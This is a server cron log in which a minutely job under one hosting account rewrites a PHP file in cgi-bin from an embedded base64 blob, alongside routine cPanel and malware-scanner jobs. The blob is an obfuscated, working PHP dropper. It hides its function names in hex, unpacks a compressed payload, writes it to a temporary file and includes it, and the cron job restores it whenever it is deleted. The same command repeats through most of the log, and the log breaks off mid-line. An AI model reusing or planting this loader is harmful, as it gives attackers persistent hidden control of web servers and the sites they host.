Apr  6 11:22:01 server CROND[20920]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 11:23:01 server CROND[20987]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 11:24:01 server CROND[21050]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 11:25:01 server CROND[21150]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 11:25:01 server CROND[21151]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 11:25:01 server CROND[21152]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 11:26:01 server CROND[21295]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 11:27:01 server CROND[21472]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 11:27:01 server CROND[21473]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  6 11:28:01 server CROND[21545]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 11:29:01 server CROND[21619]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 11:30:01 server CROND[21701]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 11:30:01 server CROND[21702]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 11:30:01 server CROND[21703]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 11:30:01 server CROND[21704]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  6 11:31:01 server CROND[21830]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 11:32:01 server CROND[21999]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 11:33:01 server CROND[22073]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 11:34:01 server CROND[22145]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 11:35:01 server CROND[22215]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  6 11:35:01 server CROND[22217]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr  6 11:35:01 server CROND[22216]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 11:35:01 server CROND[22218]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 11:35:01 server CROND[22226]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0Nv